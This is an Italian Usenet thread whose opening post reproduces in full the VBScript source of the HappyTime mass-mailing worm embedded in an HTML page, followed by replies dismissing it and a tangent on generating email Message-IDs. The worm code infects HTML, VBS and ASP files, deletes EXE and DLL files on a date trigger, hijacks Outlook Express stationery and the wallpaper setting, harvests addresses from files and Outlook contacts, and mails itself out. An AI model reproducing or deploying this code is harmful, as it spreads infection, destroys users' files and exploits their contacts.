Newsgroup: it.fan.marco-ditri
Titolo: Viruz

<HTML><HEAD>
<Title> Help </Title></HEAD>
<Body> <script language='VBScript'>
Rem I am sorry! happy time
On Error Resume Next
mload
Sub mload()
On Error Resume Next
mPath=Grf()
Set Os=CreateObject("Scriptlet.TypeLib")
Set Oh=CreateObject("Shell.Application")
If IsHTML Then
mURL=LCase(document.Location)
If mPath="" Then
Os.Reset
Os.Path="C:\Help.htm"
Os.Doc=Lhtml()
Os.Write()
Ihtml="<span style='position:absolute'><Iframe src='C:\Help.htm' width=0
height=0></Iframe></span>"
Call document.Body.insertAdjacentHTML("AfterBegin",Ihtml)
Else
If Iv(mPath,"Help.vbs") Then
setInterval "Rt()",10000
Else
m="hta"
If LCase(m)=Right(mURL,Len(m)) Then
id=setTimeout("mclose()",1)
main
Else
Os.Reset()
Os.Path=mPath & "\" & "Help.hta"
Os.Doc=Lhtml()
Os.write()
Iv mPath,"Help.hta"
End If
End If
End If
Else
main
End If
End Sub
Sub main()
On Error Resume Next
Set Of=CreateObject("Scripting.FileSystemObject")
Set Od=CreateObject("Scripting.Dictionary")
Od.Add "html","1100"
Od.Add "vbs","0100"
Od.Add "htm","1100"
Od.Add "asp","0010"
Ks="HKEY_CURRENT_USER\Software\"
Ds=Grf()
Cs=Gsf()
If IsVbs Then
If Of.FileExists("C:\help.htm") Then
Of.DeleteFile("C:\help.htm")
End If
Key=CInt(Month(Date)+Day(Date))
If Key=13 Then
Od.RemoveAll
Od.Add "exe","0001"
Od.Add "dll","0001"
End If
Cn=Rg(Ks & "Help\Count")
If Cn="" Then
Cn=1
End If
Rw Ks & "Help\Count",Cn+1
f1=Rg(Ks & "Help\FileName")
f2=FNext(Of,Od,f1)
fext=GetExt(Of,Od,f2)
Rw Ks & "Help\FileName",f2
If IsDel(fext) Then
f3=f2
f2=FNext(Of,Od,f2)
Rw Ks & "Help\FileName",f2
Of.DeleteFile f3
Else
If LCase(WScript.ScriptFullname)<>LCase(f2) Then
Fw Of,f2,fext
End If
End If
If(CInt(Cn) Mod 366)=0 Then
If(CInt(Second(Time)) Mod 2)=0 Then
Tsend
Else
adds=Og
Msend(adds)
End If
End If
wp=Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper")
If Rg(Ks & "Help\wallPaper")<>wp Or wp="" Then
If wp="" Then
n1=""
n3=Cs & "\Help.htm"
Else
mP=Of.GetFile(wp).ParentFolder
n1=Of.GetFileName(wp)
n2=Of.GetBaseName(wp)
n3=Cs & "\" & n2 & ".htm"
End If
Set pfc=Of.CreateTextFile(n3,True)
mt=Sa("1100")
pfc.Write "<" & "HTML><" & "body bgcolor='#007f7f' background='" & n1 & "'><"
& "/Body><" & "/HTML>" & mt
pfc.Close
Rw Ks & "Help\wallPaper",n3
Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper",n3
End If
Else
Set fc=Of.CreateTextFile(Ds & "\Help.vbs",True)
fc.Write Sa("0100")
fc.Close
bf=Cs & "\Untitled.htm"
Set fc2=Of.CreateTextFile(bf,True)
fc2.Write Lhtml
fc2.Close
oeid=Rg("HKEY_CURRENT_USER\Identities\Default User ID")
oe="HKEY_CURRENT_USER\Identities\" & oeid & "\Software\Microsoft\Outlook
Express\5.0\Mail"
MSH=oe & "\Message Send HTML"
CUS=oe & "\Compose Use Stationery"
SN=oe & "\Stationery Name"
Rw MSH,1
Rw CUS,1
Rw SN,bf
Web=Cs & "\WEB"
Set gf=Of.GetFolder(Web).Files
Od.Add "htt","1100"
For Each m In gf
fext=GetExt(Of,Od,m)
If fext<>"" Then
Fw Of,m,fext
End If
Next
End If
End Sub
Sub mclose()
document.Write "<" & "title>I am sorry!</title" & ">"
window.Close
End Sub
Sub Rt()
Dim mPath
On Error Resume Next
mPath=Grf()
Iv mPath,"Help.vbs"
End Sub
Function Sa(n)
Dim VBSText,m
VBSText=Lvbs()
If Mid(n,3,1)=1 Then
m="<%" & VBSText & "%>"
End If
If Mid(n,2,1)=1 Then
m=VBSText
End If
If Mid(n,1,1)=1 Then
m=Lscript(m)
End If
Sa=m & vbCrLf
End Function
Sub Fw(Of,S,n)
Dim fc,fc2,m,mmail,mt
On Error Resume Next
Set fc=Of.OpenTextFile(S,1)
mt=fc.ReadAll
fc.Close
If Not Sc(mt) Then
mmail=Ml(mt)
mt=Sa(n)
Set fc2=Of.OpenTextFile(S,8)
fc2.Write mt
fc2.Close
Msend(mmail)
End If
End Sub
Function Sc(S)
mN="Rem I am sorry! happy time"
If InStr(S,mN)>0 Then
Sc=True
Else
Sc=False
End If
End Function
Function FNext(Of,Od,S)
Dim fpath,fname,fext,T,gf
On Error Resume Next
fname=""
T=False
If Of.FileExists(S) Then
fpath=Of.GetFile(S).ParentFolder
fname=S
ElseIf Of.FolderExists(S) Then
fpath=S
T=True
Else
fpath=Dnext(Of,"")
End If
Do While True
Set gf=Of.GetFolder(fpath).Files
For Each m In gf
If T Then
If GetExt(Of,Od,m)<>"" Then
FNext=m
Exit Function
End If
ElseIf LCase(m)=LCase(fname) Or fname="" Then
T=True
End If
Next
fpath=Pnext(Of,fpath)
Loop
End Function
Function Pnext(Of,S)
On Error Resume Next
Dim Ppath,Npath,gp,pn,T,m
T=False
If Of.FolderExists(S) Then
Set gp=Of.GetFolder(S).SubFolders
pn=gp.Count
If pn=0 Then
Ppath=LCase(S)
Npath=LCase(Of.GetParentFolderName(S))
T=True
Else
Npath=LCase(S)
End If
Do While Not Er
For Each pn In Of.GetFolder(Npath).SubFolders
If T Then
If Ppath=LCase(pn) Then
T=False
End If
Else
Pnext=LCase(pn)
Exit Function
End If
Next
T=True
Ppath=LCase(Npath)
Npath=Of.GetParentFolderName(Npath)
If Of.GetFolder(Ppath).IsRootFolder Then
m=Of.GetDriveName(Ppath)
Pnext=Dnext(Of,m)
Exit Function
End If
Loop
End If
End Function
Function Dnext(Of,S)
Dim dc,n,d,T,m
On Error Resume Next
T=False
m=""
Set dc=Of.Drives
For Each d In dc
If d.DriveType=2 Or d.DriveType=3 Then
If T Then
Dnext=d
Exit Function
Else
If LCase(S)=LCase(d) Then
T=True
End If
If m="" Then
m=d
End If
End If
End If
Next
Dnext=m
End Function
Function GetExt(Of,Od,S)
Dim fext
On Error Resume Next
fext=LCase(Of.GetExtensionName(S))
GetExt=Od.Item(fext)
End Function
Sub Rw(k,v)
Dim R
On Error Resume Next
Set R=CreateObject("WScript.Shell")
R.RegWrite k,v
End Sub
Function Rg(v)
Dim R
On Error Resume Next
Set R=CreateObject("WScript.Shell")
Rg=R.RegRead(v)
End Function
Function IsVbs()
Dim ErrTest
On Error Resume Next
ErrTest=WScript.ScriptFullname
If Err Then
IsVbs=False
Else
IsVbs=True
End If
End Function
Function IsHTML()
Dim ErrTest
On Error Resume Next
ErrTest=document.Location
If Er Then
IsHTML=False
Else
IsHTML=True
End If
End Function
Function IsMail(S)
Dim m1,m2
IsMail=False
If InStr(S,vbCrLf)=0 Then
m1=InStr(S,"@")
m2=InStr(S,".")
If m1<>0 And m1<m2 Then
IsMail=True
End If
End If
End Function
Function Lvbs()
Dim f,m,ws,Of
On Error Resume Next
If IsVbs Then
Set Of=CreateObject("Scripting.FileSystemObject")
Set f=Of.OpenTextFile(WScript.ScriptFullname,1)
Lvbs=f.ReadAll
Else
For Each ws In document.scripts
If LCase(ws.Language)="vbscript" Then
If Sc(ws.Text) Then
Lvbs=ws.Text
Exit Function
End If
End If
Next
End If
End Function
Function Iv(mPath,mName)
Dim Shell
On Error Resume Next
Set Shell=CreateObject("Shell.Application")
Shell.NameSpace(mPath).Items.Item(mName).InvokeVerb
If Er Then
Iv=False
Else
Iv=True
End If
End Function
Function Grf()
Dim Shell,mPath
On Error Resume Next
Set Shell=CreateObject("Shell.Application")
mPath="C:\"
For Each mShell In Shell.NameSpace(mPath).Items
If mShell.IsFolder Then
Grf=mShell.Path
Exit Function
End If
Next
If Er Then
Grf=""
End If
End Function
Function Gsf()
Dim Of,m
On Error Resume Next
Set Of=CreateObject("Scripting.FileSystemObject")
m=Of.GetSpecialFolder(0)
If Er Then
Gsf="C:\"
Else
Gsf=m
End If
End Function
Function Lhtml()
Lhtml="<" & "HTML" & "><HEAD" & ">" & vbCrLf & _
"<" & "Title> Help </Title" & "><" & "/HEAD>" & vbCrLf & _
"<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _
"<" & "/Body></HTML" & ">"
End Function
Function Lscript(S)
Lscript="<" & "script language='VBScript'>" & vbCrLf & _
S & "<" & "/script" & ">"
End Function
Function Sl(S1,S2,n)
Dim l1,l2,l3,i
l1=Len(S1)
l2=Len(S2)
i=InStr(S1,S2)
If i>0 Then
l3=i+l2-1
If n=0 Then
Sl=Left(S1,i-1)
ElseIf n=1 Then
Sl=Right(S1,l1-l3)
End If
Else
Sl=""
End If
End Function
Function Ml(S)
Dim S1,S3,S2,T,adds,m
S1=S
S3=""""
adds=""
S2=S3 & "mailto" & ":"
T=True
Do While T
S1=Sl(S1,S2,1)
If S1="" Then
T=False
Else
m=Sl(S1,S3,0)
If IsMail(m) Then
adds=adds & m & vbCrLf
End If
End If
Loop
Ml=Split(adds,vbCrLf)
End Function
Function Og()
Dim i,n,m(),Om,Oo
Set Oo=CreateObject("Outlook.Application")
Set Om=Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items
n=Om.Count
ReDim m(n)
For i=1 To n
m(i-1)=Om.Item(i).Email1Address
Next
Og=m
End Function
Sub Tsend()
Dim Od,MS,MM,a,m
Set Od=CreateObject("Scripting.Dictionary")
MConnect MS,MM
MM.FetchSorted=True
MM.Fetch
For i=0 To MM.MsgCount-1
MM.MsgIndex=i
a=MM.MsgOrigAddress
If Od.Item(a)="" Then
Od.Item(a)=MM.MsgSubject
End If
Next
For Each m In Od.Keys
MM.Compose
MM.MsgSubject="Fw: " & Od.Item(m)
MM.RecipAddress=m
MM.AttachmentPathName=Gsf & "\Untitled.htm"
MM.Send
Next
MS.SignOff
End Sub
Function MConnect(MS,MM)
Dim U
On Error Resume Next
Set MS=CreateObject("MSMAPI.MAPISession")
Set MM=CreateObject("MSMAPI.MAPIMessages")
U=Rg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging
Subsystem\Profiles\DefaultProfile")
MS.UserName=U
MS.DownLoadMail=False
MS.NewSession=False
MS.LogonUI=True
MS.SignOn
MM.SessionID=MS.SessionID
End Function
Sub Msend(Address)
Dim MS,MM,i,a
MConnect MS,MM
i=0
MM.Compose
For Each a In Address
If IsMail(a) Then
MM.RecipIndex=i
MM.RecipAddress=a
i=i+1
End If
Next
MM.MsgSubject=" Help "
MM.AttachmentPathName=Gsf & "\Untitled.htm"
MM.Send
MS.SignOff
End Sub
Function Er()
If Err.Number=0 Then
Er=False
Else
Err.Clear
Er=True
End If
End Function
Function IsDel(S)
If Mid(S,4,1)=1 Then
IsDel=True
Else
IsDel=False
End If
End Function
</script>
</Body></HTML>
-- 
Layos [gir n°19][ICQ 55985554]
"La Storia non si ferma e i Noglobal ne sono la dimostrazione. I popoli continuano la loro lotta". [Fidel Castro]

...
Ma che noia!!! Mi sono perso al primo Sub. Ma non c'avevi un beautifier,
almeno? Tra l'altro, c'erano un paio di a capo in mezzo a stringhe e due
"If(" che confondevano il VisualBasic mode[1] di Emacs (vuole uno spazio,
dopo l'If).
Comunque, non riesco a farci niente, perche' appena lo salvo Inoculate IT lo
sega (ma di quanti secoli fa e` 'sto robo?). No, mi interessava perche' ho
appena scritto un mailerino in Perl; hai visto mai ci fosse qualche idea
interessante.... ma e` decisamente troppo noioso per perderci tempo a
studiarlo.
Ciao.
[1] Bello! Peccato che l'autore l'abbia abbandonato.

No, mi interessava perche' ho appena scritto un mailerino in Perl
Approposito, c'e` un modulino per generare il message-id?
Ciao.

 writes:

ho la vaga impressione che non segui il gruppo...

ho la vaga impressione che non segui il gruppo...
In che senso? L'origine di questo thread non l'ho capita (e cosi` altri: non
e` che non ci provi, mi mancano proprio le basi), se e` questo che vuoi dire
(perche' layos abbia pubblicato quel messaggio e che cosa intendesse dire).
E so che la mia domanda non e` propriamente pertinente al tema del gruppo
(quantunque sia certamente argomento di competenza del nostro). Per il
resto, leggo tutti i messaggi del gruppo e cerco di trarne tutto il profitto
che posso.
Riformulo il mio intervento: di HappyTime (posto che questo sia l'argomento)
non me ne frega niente (tra l'altro, se l'ha beccato il mio "antivirus",
vuol dire che e` ultradatato); il sottinteso inteso non l'ho inteso, sicche'
neppur di questo saprei che dire; io, pero`, parlando giustappunto di robi
che spediscono messaggi (altrimenti detti client SMTP) sto guarda caso
perfezionando uno scriptino per spedire messaggi ad una lista. Pur
nell'idiozia del progettucolo, vorrei fare una cosina piu` pulita possibile,
sicche' mi chiedevo come generare un message-id ragionevolmente sicuro,
compito, mi pare di aver capito dopo lettura di un 2 o 3 RFC, del client.
Del tutto immagino che vi interessi meno che nulla, e mi scuso per il fuori
tema. Ma intervenire fuori tema e` cosa diversa da non seguire; sicche',
ripeto, non ho capito (che e` forse la cosa che avrei dovuto limitarmi a
dire fin dall'inizio).
Ciao.

 In che senso? L'origine di questo thread non l'ho capita (e cosi`
[cut un sacco di cazzate]
http://groups.google.com/groups?as_umsgid=9d735v%24j7c%241%40wonderland.linux.it
(Il distributore di cenere è da quella parte, e sei fortunato che 
boffi si è mangiato tutti i ceci.)
-- 
Ciao, Marvin

boffi si è mangiato tutti i ceci.)
Il 13 febbraio 2002, che io sappia.
Ciao.

non sono particolarmente sicuri (ne' la mailbox, o il nome del programma).
Se segui correttamente la teoria allora hai la garanzia di generare un
Message-ID unico nel tempo e nello spazio.
-- 
ciao, | (Ri)scoprire fidonet: | Chissa` cosa si prova a liberare
Marco | 
http://bbs.bofh.it
    | la fiducia nelle proprie tentazioni. (F.D.A.)

Message-ID unico nel tempo e nello spazio.
No: se TUTTI seguono la teoria (e la teoria non e` ambigua), ci sono
ragionevoli garanzie di poter generare un Message-ID unico nel tempo e nello
spazio. Garanzia assoluta non c'e` in ogni caso mai (anche se io sono
evidentemente disposto a scommettere una cifra ragionevole che
l'identificativo generato non collidera` mai con nessun altro).
La mailbox e`, per esempio, una buona idea, a condizione che TUTTI usino un
FQDN o, nell'impossibilita` di ottenerlo, la mailbox; se, come ho pur letto,
e` invece accettabile usare anche il solo dominio, la certezza che nessuno
avra` la bella idea di appiccicarci una stringa che, guarda caso, e` uguale
ad un utente, salta; da un punto di vista teorico, s'intende, poi io sono
sempre disposto a giocarmi la ragionevole cifra di cui sopra che non
accadra` mai.
Ciao.